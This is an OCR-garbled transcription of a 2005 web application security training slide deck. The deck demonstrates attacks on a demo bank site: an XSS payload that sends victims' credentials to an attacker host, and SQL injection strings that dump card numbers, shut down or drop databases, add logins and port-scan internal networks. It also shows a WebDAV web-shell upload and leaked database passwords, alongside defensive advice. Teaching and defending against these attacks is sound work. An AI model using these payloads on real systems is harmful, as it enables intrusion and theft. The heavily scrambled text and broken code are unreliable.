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 Comparing web app sec to host / network security
o Cross-site-scripting

XSS Proxy

 SQL Injection

 SQL Injection “spot” techniques

* Nasty SQL Injections

e Blind SQL Injection

o Testing ACLs with param manip

 Web Telnet: Something fun for WebDav Uploads
» Bad Extension source disclosures

 Managing web app sec

. Contributing factors to the problem

. Approach to web app sec programs

Why the C&A process fails web app sec
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Web Application Development “ Truisms”

 Web applications are software

« Multi-billion dollar software companies inadvertently create a
massive number of vulnerabilities in their software

* Your web developers have a lot less training and resources than
software companies do.

 Development standards emphasize functionality, not security
o C-Levels understand other topics better — IDS / IPS, patches

 Web App dev not approached as engineering
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Most Exposed and Least Protected

e
Web Application Attacks

Known Web Server Attacks

i —@*—
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Network Attacks 'I ) ‘|

TR

OS Attacks
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HOST Security

More manageable due to
uniformity
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Web App is A Different Paradigm

* Vulnerabilities are custom

* No global announcement

* No fix handed down

* Non-standard testing

e Overall more difficult management

e Bottom Line: It's YOUR problem
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Web Application Vulnerability Characteristics

» Affects all Web applications:
*Exists in your own application, not the operating system

«Can exit regardless of the Web server, operating system, configuration,
or patch level

» Extremely easy to exploit:
e Sometimes requires nothing more than a Web browser
» Orders of magnitude easier than buffer overflows
Difficult to deal with at the perimeter:
*SSL Encrypted Traffic , Huge Volume

*Rules granular to each input on each page, change as app changes
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Typical Security Model

* Hardened Builds Network Scanning
— Patch Management Firewalls
— Configuration IDS / IPS
Management AV, ASPY, A-SPAM
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Typical Web App Sec Practices

This Page Intentionally Left Blank
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Tuesday’s BugTrag Summary Pt

. FRONT AND CENTER
1. Windows rootkits of 2005, part three
2. Patching a broken Windows
. BUGTRAQ SUMMARY
MTink Home Environment Variable Buffer Overflow Vulnerability
MyBB Print Thread Script HTML Injection Vulnerability
MyBB File Upload SQL Injection Vulnerability
IBM AIX GetShell and GetCommand File Enumeration Vulnerability
IBM AlIX GetShell and GetCommand Partial File Disclosure Vulnerability
InTouch User Variable SQL Injection Vulnerability
PHPJournaler Readold Variable SQL Injection Vulnerability
Chimera Web Portal Multiple Input Validation Vulnerabilities
. B-Net Multiple HTML Injection Vulnerabilities
10. ScozNet ScozBook AdminName Variable SQL Injection Vulnerability
11. VBulletin Event Title HTML Injection Vulnerability
12. Drupal URL-Encoded Input HTML Injection Vulnerability
13. File::ExtAttr Extended File Attribute Off-By-One Buffer Overflow Vulnerability
14. DiscusWare Discus Error Message Cross-Site Scripting Vulnerability
15. Gentoo Pinentry Local Privilege Escalation Vulnerability

OCOoONOoOOAWONRE

VVVVVVVVVVYVYVYVYVYVYVYVYVYVYV
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Tuesday’s BugTrag Summary Pt 2

16. INCOGEN Bugport Multiple SQL Injection Vulnerabilities
17. SCO OpenServer Termsh Buffer Overflow Vulnerability
18. INCOGEN Bugport Index.PHP Multiple Cross-Site Scripting Vulnerabilities
19. EFileGo Multiple Input Validation Vulnerabilities
20. Primo Place Primo Cart Multiple SQL Injection Vulnerabilities
21. Valdersoft Shopping Cart Remote File Include Vulnerability
22. Intel Graphics Accelerator Driver Remote Denial Of Service Vulnerability
23. Linux Kernel SET_MEMPOLICY Local Denial of Service Vulnerability
24. ESRI ArcPad APM File Processing Buffer Overflow Vulnerability
25. IDV Directory Viewer Index.PHP Information Disclosure Vulnerability
26. raSMP User-Agent HTML Injection Vulnerability
27. Linux Kernel FIB_LOOKUP Denial of Service Vulnerability
28. Lizard Cart CMS Multiple SQL Injection Vulnerabilities
29. Linux Kernel Sysctl_String Local Buffer Overflow Vulnerability
30. Linux Kernel DVB Driver Local Buffer Overflow Vulnerability
31. KPdf and KWord Multiple Unspecified Buffer and Integer Overflow Vulnerabilities
32. OpenBSD DEV/FD Arbitrary File Access Vulnerability
33. PHP MySQL_Connect Remote Buffer Overflow Vulnerability
34. Apple AirPort Remote Denial of Service Vulnerability

VVVVyYyYVVYVVYVVYVYVYVYVYVYVYVYV
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Tuesday’s BugTraq Pt 3

> 35. Blue Coat Systems WinProxy Remote Host Header Buffer Overflow
Vulnerability

> 36. Blue Coat Systems WinProxy Remote Denial Of Service Vulnerability
> 37. Blue Coat Systems WinProxy Telnet Remote Denial Of Service
Vulnerability

> 38. HylaFAX Remote PAM Authentication Bypass Vulnerability

39. Hylafax Multiple Scripts Remote Command Execution Vulnerability
40. Apache mod_auth_pgsqgl Multiple Format String Vulnerabilities

41. Foro Domus Multiple Input Validation Vulnerabilities

42. OnePlug CMS Multiple SQL Injection Vulnerabilities

43. INETstore Online Search Cross-Site Scripting Vulnerability

44. ADN Forum Multiple Input Validation Vulnerabilities

45. IBM Lotus Domino and Notes Multiple Unspecified Vulnerabilities

46. Timecan CMS ViewlID SQL Injection Vulnerability

47. Modular Merchant Shopping Cart Cross-Site Scripting Vulnerability
48. TheWebForum Multiple Input Validation Vulnerabilities

49. Aquifer CMS Index.ASP Cross-Site Scripting Vulnerability

50. TinyPHPForum Multiple Directory Traversal Vulnerabilities

51. NetSarang XLPD Remote Denial of Service Vulnerability

52. Navboard Multiple BBCode Tag Script Injection Vulnerabilities

VvV VVVVYVYVYVYVYVYVYVYVYV
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Cross-Site-Scripting

Download the Cross-Site-Scripting Whitepaper from http://www.SPIDynamics.com




Cross-Site Scripting: Find the vulnerable field

I freeBank
online

= Customer Login

+ Financial Planning

* Services

# Your Accounts »

= Customer Support

o

Access Accounts

\Website accepts
Input from user

eReplays their input
without validating it.

eAccepts JavaScript
as input and replays

ntuwtite ("Test")</script?|

o
L
Arccess Accounts

X

It to the browser

wl HS
BGCOLOR="#ZE7AA3" STYLE=s: .
ACTION="10g1 METHOD="posT >
R>Invalid Lpdin: <script>document.write ("Test")</scripto<brs
me: <BR>
TYPE="Text’
rd:<BR»
TYPE="password"

="208" HEIGHT=

E="login" sT¥LE="horder: lpx solid black; s

MAME="password" =TvLE= border: lpx solid black; spa
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Enter java script

a http:/fendo.webappsecurity.com;/banklogin.asp?err =In¥alid Login: <script >document.write{*Test™)< - Microsoft In

J File Edit ‘Wiew Fawvorites Tools  Help

PMedia o4 | Sk

Back + = - () i | ‘Qhsearch  [G]Favorites

f0gin. asprerr=Invalid¥20Login: %20 <script >document writed"Test" ) < fscripk =

J Address Iﬂj http:fendo. webappsecurity.com

Google - | | Links k

ntwrite ("Test')</scripty]
o
»

Access Accounts

X

Malicious script is entered in
a form field, but is passed to
next page as parameters in a
URL

URL with malicious scriptin
parameter can now be
distributed as a vector
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Cross-Site-Scripting Attack Vector

Lt
SubjEcli P Recese $200 From FrésBankl

----- O igral Message---—
From: Fresback Special Offare [maillokepeifepidyoamics.oom]
Sent; Monday, Seplember 16, 2002 5108 P

Cross-Site-Scripting attack

freep ANK via emailed vector.

CONGRATULATIONS
You have won 520000 from FREEBANK

* $200.00 As an incentive to use enline banking I n n O C en t'l O O kl n g L | n k h aS

Dividend and lo show appreciation for our
customers, we are giving $200 o any

cusonsr e e e b embedded JavaScript

racaive your FREE CASH!

href="http:/fwww.fresbank. coms/banklogin.asp7serviceName=FreehankCaastAccess&amp;ten
atename=prod_sel.forted&amp; sgurce=Erppbank&amp: b REFERRING_URL=http:/ Swww. Freebank
om&amp;

<:::err=%3cffurm%3E%3CfDrm%2DactiDn=%221Dgini.asp%22%2DmethDd=%22stt%22%2GDnsubmit=

Simage®20=%20new%20Image; ®xs5image. src="http:fwww. roguebank. com/' %2 0%2h%2 0document.
rms (10, login.value®20%2b%20" 1 '%20%2b%20document. forms (1), password.value; ¥22%3E"»

EEEE?"HERE‘#L SEONT > </ Br</FONT><FONT color=#ffffff><BrR><FONT
face="arial, HE I o ree——— e T o o i 2T
YOUr </B></FONT><B><FONT Tace="arial, Helwvetica, sans-serif"><BR><FONT
size=4:>%200.00<BR>Dividend< FONT ></FONT > </ B></FONT > < /DIV></TD>
<TD valign=top width=327 height=100 rowspan=2»
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Decoded Attack Sequence

freeBank

online

+ Customer Login

+ Financial Planning

+ Services

+ Your Accounts

# Customer Support

Register for an Interest
Checking Account with
FreeBank:

First Mame:

Last Mame:

Register

No Alarms and NoO Surprises

e are comfiden of cur eystam's shility to protect all
[trancactions; hoarewer, this ic not an feritation for people to
tternpt manthiorized access to the systam, This is 2 private
comnpniting systern which is retricted to aithorized
indivridnals. Achial or sttempted mreanthorized nse of this

cornpnTter yctern Mgy Tesult h cimiral sndfor civil
[prosecition. We reserve the right to view, mondtor, and record
activity on the oestan withot notice or penhicsion. Srge
fommation obtaited by mondtoring, Teviswing, of Tecording is
subject to Teviear by loar endorcament orgarizstions i
cormection with the frestigation or proseation of possible
il activity orthe systamn. By are not anothorized
pazer of this gystemm or do not consent to cortirned monitoring,
excit the systam af thic time.

=QOriginal legitimate website

*No login errors, no
changes, user works
normally

=UserlD and Password
quietly handed off to remote
website

ifoml action="loginl .asp" method="post" onsubmit="XSSimage = new
Image; XSSimage.src="http.//www.roguebank.com/' +

document.forms(] ).login.value + "' + document. forms(1 ).password.value,">">
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What Else

e Document.Cookie
e Window.Location
e Document.Write (your own html)

e Window.Open
 Window.Close

e Lets you steal the cookie from the site
* Lets you read the forms on the page that has the XSS
« Lets you create fake login forms etc.
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Massive Advancements In XSS

XSS Proxy by Anton Rager — revealed Shmoocon 2005
» http://sourceforge.net/projects/xss-proxy

 Opens an iFrame via an XSS

— (ie, param=document.write (‘<iframe src...
« DOM trusts this new frame — opened by parent site
 Frame source is Xss-proxy running on attackers machine

e Chunks and codes current parent url / HTML into requests to attacker machine
via this frame

— Attacker sees what victim sees
 Receives commands via script from attacker machine
— Attacker controls what victim sees does

 Makes XSS considerably more dangerous.
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XSS Defenses

* Input AND output validation
e Always validate input.
« Always validate input.
e Always validate input.

« Validate/encode output: HTML Encoding helps break XSS.

« More on Good / Bad Input Validation later
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SQL Injection

Download the SQL Injection Whitepaper from http://www.SPIDynamics.com




Verbose and Blind

e Two types of SQL Injection

 Verbose: lack of error handling provides verbose feedback to
the browser. Greatly enables the attacks

« Blind: Input still vulnerable to SQL Injection, but error handling is
performed to prevent ODBC errors from displaying in the
browser. Still vulnerable, requires more advanced and time
consuming technique
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SQL Injection

) Moxilla Firefox

YT e Massively Serious Issue

= © =
;:...j' #p_cmdshe EEQQCD‘Q+vY\?>v'
|| http:#1127____server_info | Google Search: ¥p_crdshell | 5

Exploits common technigues developers
use to query databases

Allows attacker to indirectly access the

database by piggybacking their queries
onto the web developer’s queries.

| |
Bottom Line: Turns anv Web
INCREASE_COLUMMN_LENGTH L]
MAX_INDEX_COLS
MAX_OWNER_NAME_LENGTH .
Surfer into vour new
MULTI_RESULT_SETS
NAMED_TRANSACTIONS
OWNER_TERM

Database Administrator ;)
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Database Driven Page

\|_| bttp: A1 2F 007 AstatsShowE rmar. aspYErmorCode=2 j @ Go

-Page reads ErrorCode from
Error: request

Bad Username

Flease try again. *Uses ErrorCode in a SQL
Return to Login Page Query

*\Writes the results of the query
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Common Database Query

Query written as \
text string
sSgl ="

" & Request("ErrorCode")
\

Query parameter appended to query

L ke A 2T 00001 Setate /S howE rrar. azpYE rorCode=2 j @ o

A

2

Copyright 2005 SPI Dynamics




Problem: Unvalidated Input

L kb A2 000 Astate S S howE mor asp YE morCode=2"

Microsoft OLE DE Provider for ODBEC Drivers error '80040e 14
[Microsoft][ODEC SQL Server Driver][SCL Server]Unclosed guatation mark before the character string .

fstats/ShowErrar.asp, ling 33

Invalid character entered is used in query

*Resulting back-end query results in an ODBC erorr message

21
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Piggybacking Queries with UNION

'E rrorCode=2%20union# 20zelect® 20name® L0om#E 0zpzobjectzZ 20where® 20:tppe="u/

Values entered into the parameter ErrorCode now have the ability to
modify the query itself ( instead of just being a parameter to the query) :

9 union select name from sysobjects where xtype="'u’

\

UNION keyword tells SQL to combine two
statements into one
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Enumerate all tables in the database

Sysobjects stores names
of tables in database
Error:
bank_accountsiMaster Name = name of table
bank_cards Xtype = type of table
bank_cust_ids (system, user)
bank_logins
D?INYD Xtype='u’ = all user
D!"HES"IHS tables, no system tables.
DirXP
dtproperties
error_messages
Invalid AccountName

SPI'DYNAMICS
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A SubQuery Enumerates Columns in the Table

LHEEDSEIen::tEEDnamEEEDfru:um?QEEIs_l,lscDIumnSEEtherEEEDi|:|=[sEIe:::t?éEEIi|:|?5EEIfrn:um?*.fEEIS_I,Isnl:uiectSEEtherEEEDname='bank_c:ards'f

Error:

card_exp

card_name
card_number

Invalid AccountName

Columns are stored in
syscolumns

Keyed on ID

Subquery against ID in
sysobjects for the table you
want

Select name from syscolumns where id=(select id from sysobjects where

name=‘table’)
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Select the data from the column

ErrorCode=2%20union20zelectZ 20card_nurmbers 20rom# 20bank_cards

+ 4 HTTP packets to your data

Error: e Find the injection
1234666633337890 » Select tables from sysobjects
1234678911114567 » Select columns from syscolumns
5551444422226666 e Select data from column
76543211987654321

e Can be reduced

_ — Don’t need to do an individual test —
Flease try again. test could be exploit

— Reduce enumerations with more

Feturn to Login Page advanced queries
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More Techniques




Page Returns only One Record at a time

Change code from:

do until rs.eof
response.write rs(0) & "<br>"
rs.movenext
loop

To just : response.write rs(0)
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Incrementing the queries

. Error:
ErrorCode=2 union select card_number from
bank cards where 1=1 123-445-4222
1 is always equal to 1, returns first record Flease try again.

ErrorCode=2 union select _

Error:
card_number from bank cards where 901-442-5892
card_number>'123-445-4222'

Flease try again.

Simple Boolean operator returns new
number, just rinse and repeat ...
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Dealing with Strings

e Change the code from this:

» sSql ="select message from Error_Messages where Code =" &
request("ErrorCode")

e To this:

« sSql ="select message from Error_Messages where Code =" &
request("ErrorCode") & "

 Page now expects a string, everthing entered is inserted between
single quotes
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Escaping from Strings

ErrorCode=2‘ union select card_number from%20 bank_cards where '1'='1

Error:
123-445-4222

Query becomes: Flease try again.

select message from Error_Messages where Code = ‘ErrorCode=2‘ union
select card_number from%20 bank_cards where '1'='1’
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Page Doesn’t Print Response

Frrannde=mnvert[int,[5 elect+top+1 +name+rom+sypsoblects]]

Syntax error converting the nvarchar walue ‘bank_accountsiaster' to a column of data type int.

« Use CONVERT function

« CONVERT is used to convert datatypes

 When it fails, the error message shows you what fails
Limitations: can only select one row at a time
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Trapped in Middle of Query

 Change code to:

 Error_Messages where Code =" & request("ErrorCode") & "
and message like '%error' “

e Injections are now trapped in middle of query with “unbreakable”
where clause
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Breaking Out of Queries

'ErrorCode=2%20union® 20zelectz20card_ numbers20om#20bank_cards

[SCL Server]incarrect syntax near the keywaord 'and'.

=22 A0unionE 20zelectE 20card numbersZ0fom# 20bank_cards=20--

« Comment characters at end of query truncated rest of string

query.

« select message from Error_Messages where Code = 2 union
select card_number from bank_cards --and message like
‘Yoerror' "
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More SQL Injection Goodness




SELECT is just the first 1%

DML : Data Manipulation Language

Select, Insert, Update, Delete

DBML: DataBASE Manipulation Language

Add / Drop / Shrink / Grow DB’s
Stored procedures, extended stored
procedures, functions
Server management: users, network, disks
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SQL Injection Annoyances

Annoy the DBA

| http A 2T 0.0 Astate S S howE rror. aspYErmorCode=9;2 20shutdown - @ o

Seriously **** OFF THE DBA !!

| httpeAA127.0.01 AstatedS howE ror. asp PE morCode=9;dropf 20databaze® 20prod_db |
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zp B rmorCode=9%20union® 20zelectZ 20zvatem_user

Who is the App Logged In As?
. login |

Login

Elror:
sa

Flease try again.

Feturn to Login Fage
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Adding your Own Database Account

YErrorCode=1%20E<E CE20zp_addloginZ 20 NOF4H4=00, =201 ustCrushdLat’

@ED

% SOL Server

B % (local] windows NT)
{:l Datahaaes

: & l:| td anagement
----- %I Detached databazes

— Full data path in ozt computer for databazes to attach

KENE Type
MOF3H Al Standard
23 Standard
tezh Standard
UM ENDWHNWASPHET MTzer
T T s T Group

Not that we really needed a login anyhow ...
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Port Scanning the Internal Network

Port Scanning the Back End Network from the DB Server ? Priceless.

Just try to initiate a new database connection within the query

'Uid=T hanks:pwd=ForT heParts can;network=DBMS50CM Addrezz=vahoo. com, 80 bimeout=2""select

Microsoft OLE DB Provider for QDBC Drivers error S0040e14"

[Microsoft][ODBEC =L Server Driver][SGL Server][DEMETLIE][ConnectionOpen
(PreLoginHandshake()). |General netwark error. Check your netwark documentation.

fstats/showError asp, line 359

Something’s wrong (because it isn’'t a database server ! ) but the port’s open ;)
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Sanctified

=T hanks;peed=ForT hePort5 can;network=0DBMSS0CH Address=pahon. com, 21 imeout=3""s

Microsoft OLE DB Frovider for ODBC Drivers error B0040e14"

[Microzaoft][ODEBC Sl Server Driver][SGIL Server][DEMETLIE][ConnectionCpen
(Connect)). |=GL Server does not exist or access denied.

fstatsfShowError asp, line 39

Port closed ... build script, rinse and repeat.
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Your Back End Network

= Sowitting AccommieQ ina A
= gowitting Accomp lice,
=iF = '
-\ D o

—FE )= -

= ) Zm \
N

Not So Back End ;)
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Who's Vulnerable

 Ridiculous number of sites

 Not aware
« Aware of vulnerability but not defenses
* Fully aware, no testing capabilities

e DoD ? Government ? Commercial ?
e Only small unimportant sites ?
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Don’t Suppress Errors Without Safe Queries

« The ODBC errors are the symptoms

 They help, but aren’t required

 The problem is the way the query is formed in the web app
* Not fixing the query but suppressing errors is still hackable
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Blind SQL Injection




Blind Conditions

 Error Handling in Place : No ODBC error messages
* Does not necessarily print recordsets to screen
« Still using string concatenation queries : still vulnerable

 General Process:
— Find a boolean situation you can use for deduction

— Figure out how to ask Yes / No questions instead of open-ended
guestions

— Ask lots and lots of Yes / No questions
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Proper Error Handling In place

\ L ke A 00 Aproducts. azpYProduct T ppe=2" \
|

Fleases try again.

Feturn to Login Page
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Does Not Print Records to Screen

If rs(0) <>"" then response.write " in stock"

Will not be able to use UNION attack
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Test for Blind

Pass a false statement

‘.;F'rcuzluctT ppe=1 and 1=0 \

_heck Another Product

Pass a true statement

|;?'F'r|:u:|u|:tT ype=¢ and 1=1 \
in stock

_heck Another Product
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Using Substring Command

SUBSTRING command
lets you specify a range of characters from a string
accepts a query as the input
specify start string and end string

Substring(“flsh” 1,1) returns ‘f’
Substring (“f1sh”,1,2) returns ‘f1’
Substring (“f1sh”, 2,3) returns “1sh”
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Using Switch for Guessing

Problem: Can’t print results to screen.
Solution: Guess using booleans
Is the letter greater than ‘m’ ?

Problem: Can’t grab everything at once.
Solution: Grab one item at a time using TOP 1
select top 1 name from sysobjects where xtype=‘u’

Problem: Don’t want to guess full name at a time
Solution: Isolate each letter and guess those.
Substring((select top 1 name from sysobjects where xtype=‘u’),1,1)
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20 Questions

ProductT ppe=2 and zubstring [[zelect top 1 name from syzobjects where stppe="'1',1.1] >'m'

« Combines two queries: hardcoded query and our injected query

o Asks a Yes/ No question: Does the first letter of the first name
In sysobjects come after the letter m ?

Check Another Product
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Bracket to Reduce Guessing

« Dividing in half to reduce to a single
« [Faster work
 Less log / network traffic

* Not greater than ‘m’, therefore between ‘a’ and ‘m’

hd%20substing20([zelect®2Mopi 207 Z20namei 2 0fromi 2 Deysobjects £ 20where % 2 0type="u,1.1)<'g’

in stock
Checlk Ancther Product

Z20name? 20from? 20spsobjects & 20where % 20xtwpe="0"11.1]:'c'

ame20from&E 2 0syzobjecte % 20where? 2 0xtppe="u".1.1]='b'

Check Another Product
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Repetez

o Substring(string,character position,number of characters)

o Substring(‘tbl_credit_cards’,1,1) = ‘t’
o Substring(‘tbl_credit_cards’,2,1) = ‘b’
o Substring(‘tbl _credit_cards’,3,1) = ‘I’
o Substring(‘tbl credit_cards’,4,1) ="*
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Input Validation




Good Advice for Input Validation

“as we know, there are known knowns; there are
things we know we know. We also know there
are known unknowns; that is to say we know
there are some things we do not know. But there

are also unknown unknowns -- the ones we don't
know we don't know *

- Donald Rumsfeld Tuesday, Feb. 12, 2002

Source: http://www.defenselink.mil/transcripts/2002/t02122002_t212sdv2.html
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Don’t BlackList

You don’t know what you don’t know

e Stripping out bad words
— Defense: remove “union” or “select”
— Attack: ununionion seselectlect yadda yadda yadda

e Stripping out single quotes
— Integers don’t require quotes
— Commmands — shutdown ? Drop ?

* Relying solely on stored procedures only
— Attackable © if you still concatenate strings to call the procedure

* Relying on the platform alone
— MagicQuotes ?
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WhiteList

 Validate against the known good format
— A zip code should always be [0-9] [0-9] [0-9] [0-9] [0-9]

« Trim lengths

« Use parameterized queries

— Allinput to the query is treated as a parameter, no chance to modify the base
query

e HTML encode output (for XSS)
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Parameter Manipulation




Parameter Manipulation

« Different from parameter injections
* Injections put new data types into the parameter
e Strict parameter manipulation just changes existing parameters

« Usually takes advantage of state mechanisms
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Differences lllustrated

Injection: Putting invalid data, also invalid TYPE of data

I http: A1 27001 Asecure/showpage. aap?pageid'

Manipulation: Same type of data, just wrong values

\ http: A4 2 001 Aeecured/showpage. azp ‘
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Victoria's Secret

 Victoria's Secret,

TR~ — ="~ —— AT November 27, 2002
g:::;:zhﬂ TAR002 WERNON J-.'ILF_‘S-,FI:I::-I 453 * Order ID parameter In the
Ship Methed UPS bround order status page
uovmisienrcnV ICTORIA'S SECRET
T b i miEnEmememl ¢ Order status page bound
High-cut bt to your session, but not
4FA0631T iy | £7.00 1 8700
s the parameters
AFADBIT Wﬁmﬂmtdm] WG $7.00 1 $7.00
AF 151088 i'*'::‘:"'mlgﬂ fiall caverage be 20 A $20.00 1 23000 _ o
Sum;igplungﬁpu-:hupbu ¢ $50,000 flne and pUbIICIty
4150414 il dh el T £30.00 1 43000 )
Soulpted demi bra In 2003
4F-140142 i 340 1 52450 1 52450
- Wctonacseacret. com
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Gateway Computers

Gateway Computers

 Website stored an ID number in a cookie to identify you when
returning to the site.

« By changing this ID number, you are able to view the information of
other shoppers.

* Information viewable includes Name, Address, Phone Number,
Order History, Last Four Digits of Credit Card, Credit Card
Expiration Date, Credit Card Verification Code.

Wall Street Journal
“More Scary Tales Involving Big Holes in

Website Security”, by Lee Gomes, February 2nd
2004
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Exploit Technique: Parameter Fuzzing



Configuring the Fuzzer

€3 5Pl Fuzzer

File Edit Seszion Filters Help

—Sessions
& Raw Editor =0 =| Chan e
LIRL "uttp:,l',l'lu:u:alhu:ust:SIZI,I'secure,l'sthpage.asp?‘pageid=8 g
GET [securefshowpage. asprpageid=8 HTTR/1.0 Pageld_8 tO
L [Hosk: 127.0.0.1 -
|Jser-Agent: Mozilla/s.0 Otindows; L Windewe MTE A oo LISe e d 320 Coclee LN
Reauest = . cept. text/xm,applicationfxmi, 2ppicatio P x| Pageid=0 — 100
.ﬁ.ccept-Langsage: En'UjJﬁniq=D-5 Generators —— | — Descriphion
Sl e p ] HelCl ) Mumnber [Generator Baszic number {
) =y - e Jumber Generats generator. seful for testing
Ecce?ilfih.?rgneé. 150-8853-1,utf-8i0=0.7, s S0l Generator warious reactions to small or large And CheCk
Bep-Allve: Character Generator numbers.
Decimal Mumber Generator resu ItS
Guid Generator
q I WordList Reader Generatar

Broviser Yiew Humber Generator Options B Llfeneratl:ur

[ Optionz

Feneratar
Miniirriuim R Increment rator

I 1100 I ok | cance

Loop Count b ax Yalues hode |

ID I1 I Incremental j e |
Ok Cancel gl
[ o | | -

I j " | lannre Ease Fifcd |

Shop | Stark |

S

— | | | Filer : Disabled
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Reviewing the Results

8 5P Fuzzer

Fie Edit Session Fiters Help e 404's indicated no page behind

—Sessions

Fuzz Session § Redirection - 302 Object moved - th at param eter

Fuzz Session § Client Error - 404 File Mok Found
Fuzz Session | Success - Z00 O
Fuzz Session [ Client Error - 404 File Mot Found

Fuzz Session [ Client Error - 404 File ok Found ® 302 : pag e be h I n d param eter

Fuzz Session [ Client Error - 404 File Mot Found

Fuzz Session | Client Errar - 404 File Mot Found p ro pe rly red | reCted to |Og | n

Fuzz Session | Redirection - 302 Object moved =
| ]

:I_ S ———

—Reguest

GET [securefshowpage. asp?pageid=2 HTTP/1.0 . 2 OO p ag e be h I n d p aram ete I'

Host: localhost

User-fgent: Mozilla/S.0 (Windows; U; Windows NT 5.0; en-U5; rv:1.7.8) Gecko/20050 — d | d not CheCk acceSS and

Accept: text/xml,applicationxml, applicationxhtrl+:xml, textfhkml;q=0.9,text/plain; g=

TCIEEpt-Langua-;IE: en-us,en;q=0.5 | _"Ill al |0wed VieWi ng

Browser Yiew | Faw Response I

[»

Logout Welcome to the Sensitrie Area of our il * ApprOXImately half the pages
WebSite where We Have Access Control and had brOken acCess COﬂthlS

Authentication !

%] The Shmoo The Shmoo Group is a non- |
I j [ Ionore Case Firid |

St | Skart |

|Finished |1EIEI°;".:- |Sessians ;101 |Fi|ter : Disabled Y
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Misconfig allowing PUTs

Improper VERBS: Exploiting PUT capabllities



Exploiting WebDav PUTs

| Telnet |

Web based telnet client
| | Telnet by Matt Fisher

Web based telnet client I Enter | 8M0f2005 1:30:17 PM
oy Matt Fisher

| citempitelnet bd && type citempitelnet bd= Ents |
811012005 1:29:14 PM

cho "this is telnet" = c\tempitelnet.

"this is telnet"

*  Only requires Windows Script Host on server
« WSH installed by default in everything since NT 4.0
« WSH rarely removed / disabled in production environments
« ASP usually relies on it (Scripting.FileSystemObject)

Copyright 2005 SPI Dynamics SPI{DYNAMICS
|



Directory Browsing

Index of /in¢
Directory browsing reveals

| A= LRat maaliied = file names — no chance at
'#: Par=nt Dir=ctorCcy Oi-Jan-2003F 20:4% Obscurlng

=) copy.ine 13-Hov-2008 22:58 Reveals portions of site

ﬁ COUBEIY. ine 20-Lug-2002 15:28 otherwise unknown

=1 ZOMTREFImEfullliise  20-Aug-oOUE 15240 Hacker would normally have
E' dazacen. inc #0-hug-2002 18:28 to use file-guessing scripts
Lo e e e s 07-Cet-2002 15:00 and other clues

ﬁ egrchdaces. inc 03-Sep-200z 10:37

[

Datacon.inc is easily
guessed
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Unmapped / Backup Files

Mappings I Options ] D'abugaing

Only a few
“known” file types
get rendered.

W Cache IS4P! applications

—Application Mappings

E xtens i | Verbs -
W T C:WWINDOWS S pstem32hinetsrehasp = GET HEA,
.a3p C:AWINDDWSYSystem32hanet sivhasp, T HE&
< CNWIND OWSSpstem32hinetsrvhasp. .. HE&A,
CWWINDOWSSSpatem32hinetsrvhasp. . . T.HEA

C:AWIND O'WSASpstem32hwebh GE T,-H Ed

ida - 2 di GET HEA. i

ade C:AWINDOWSSSpstem32hnetsivihittp..  OPTIONS. Eve rythlng else

idg CVWINDO'WSAS pstem32%dg dil GET HEA — reveals thelr

.php CAPHP\php.exe Al d

Al C:A\Perl\bin\perl exe “%s" &3 Al

Pl C:\Perlsbin\perlis.dl GET.HEA, = source coae

=jbem C AN DMASSS nebam T amal o scan RET PNS,

o ] 75

add | E i Bemove |
True for every
web server, not
(1] 8 | Cancel | Apply Help jUSt IIS
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Source Code Disclosure

. A

¥ 5 o | 1 c M - [
K Back = L) ¢ %] (2] )| ) seach S0 Faverkes @@ Meds £) | (0 o B - L
Srdnecs |.E R ] e e e e, e m e i e ek s e

Links ) Toshins Orcess 5] Cusbomize Links 2] Fres Hotmail @ ReaPlayer o] Windoss 2| Windows Medis

=¥

¢=E= FEFLEE TR FINNEctE e Databoags TS Ty

AT daElare Son®E Celevanc variaples 6y
ShoE T P Vniiamiepy et ¥ &

SIS 1 P W il |

Spasgeapdas = 'oedeep——"-

SoBllame = " ee——————

FT omake conpesbion Lo dacaEsgome ®
FT If ms =anns=s~Eion made, Sli=plasy =r¥rsre Ham=gme =0

B¥dol COMDELCT| fhostoaar=, fwsscoams, jpasswerdsc) O PIE|*Unalkls to conne

T Bplecr The database name o e used oF elss print ercor messacge 115 an
Bemy=gl =alast &nf T5dAsMameT™] o die] "Unekle to s lesct dacabass™is

Fmoguery=" or fdg (%W UF0L Ezror Oooweed @ LZW"owiregl exror ) SN iYL Soguerw] oM
SN0 UErF1I=" ot die (4 THE0L BError Ooonred : S myadl ervcoc (] W%t i s Souaerwh]
SnogueErgE=" or dile (W TI0L Exrrorc Occured @ v .myagl errocd) Lt iyt S SquerwE]

Sipaddress=geranys ["remore Sddr™] =
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The Proverbial Post-It On the Monitor

include (" fconnexion bd configinc™) ; function db connect ...

.. global $DBuser ; global $0Bpass ; global $0BName ; /Y our-MySLL-servers-IP-ar-domainname
$0Bhost = "lecalhost”; /Y our user name DBuser = "pol®; /Y our ...

¢ 3k - Cached - Similar pages

$DEINamE = eruzm-‘Bqlt.‘:{el:l"; btable = T 2o
Cached Slmllar paqes

tOBEhost = "localhost” $DBuser = "qgetout": $0Epass = "bryon'” ...

<¢ §0Bhaost = "lecalhost”, $DBuser = "getout”; $0Bpass = "bryon”; $0BMame = "getout”;
s Tk - Cached - Similar pages

Yes, those are real live database connection strings

Yes, they contain real live usernames and passwords

Copyright 2005 SPI DynarmSgemal Agent, [ didn’t try them out.




SPIDYNAMICS

Managing Web App Sec




Why Web Application Risks Occur

The Web Application o
Application

Security Professionals

Don’t Know The
Applications

“As a Network Security
Professional, | don’t know
how my company’s Web
applications are supposed
to work so | deploy a
protective solution...but
don’t know if it’'s protecting
what it’s supposed to.”

Security Ga

Copyright 2005 SPI Dynamics
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Professionals
Don’t Know
Security

“As an Application
Developer, | can build
great features and
functions while
meeting deadlines, but
I don’t know how to
build security into my
Web applications.”
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Contributing Factors

* Developers not taught security

e Security not development experts

 Low barrier to entry for building web apps
 Easy to use languages

 Rapid development times

e COPY /PASTE code from websites, books

etc.
 Lack of internal coding standards /
guildelines
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Approach

 Awareness

e Education

e Coding Practices !

e Standard Libraries

 Assessment Tools and Technology

» Design for Security — document input types, valid formats, constraints
and build them into the design spec

e Test for Security

 Don't just review code — the implementation counts
« Combine techniques — static, dynamic, bin

e Testin QA, also validate Production

» Test Often — things changes
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Traditional Security Certification

S~

performance testing

—

—

Security tests server patches and configuration

\

Development builds Application Functional defects are found and fixed

QA performs functional and/or App is declared ready for UAT

_ Customer accepts application and

Security applies any missing
patches or tweaks configuration

Program goes live

Deployment begins

Copyright 2005 SPI Dynamics
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Application Security Certification

Development builds Application

.

QA performs functional and/or
performance testing

—

Customer performs acceptance testing

D

—_—

Program goes live
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References / Contact

o XSS-Proxy by Anton Rager
— http://sourceforge.net/projects/xss-proxy

3
